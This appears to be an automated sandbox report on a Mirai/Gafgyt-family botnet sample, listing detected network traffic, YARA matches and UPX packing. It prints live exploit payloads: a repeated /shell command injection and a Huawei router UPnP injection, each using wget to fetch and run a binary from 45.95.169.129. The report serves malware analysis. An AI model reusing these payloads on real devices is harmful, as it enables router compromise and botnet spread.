Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: bot.nulling.io

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: boatnet.mips.elf, 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, boatnet.mips.elf, 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	String found in binary or memory: http://45.95.169.129/bin
Source: boatnet.mips.elf, 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, boatnet.mips.elf, 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: boatnet.mips.elf, 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, boatnet.mips.elf, 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: boatnet.mips.elf	String found in binary or memory: http://upx.sf.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55104
Source: unknown	Network traffic detected: HTTP traffic on port 38815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34554
Source: unknown	Network traffic detected: HTTP traffic on port 34554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38815
Source: unknown	Network traffic detected: HTTP traffic on port 55104 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: Process Memory Space: boatnet.mips.elf PID: 5432, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: boatnet.mips.elf PID: 5436, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Source: LOAD without section mappings

Program segment: 0x100000

Source: 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: Process Memory Space: boatnet.mips.elf PID: 5432, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: boatnet.mips.elf PID: 5436, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.evad.linELF@0/0@25/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 53202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56476 -> 37215
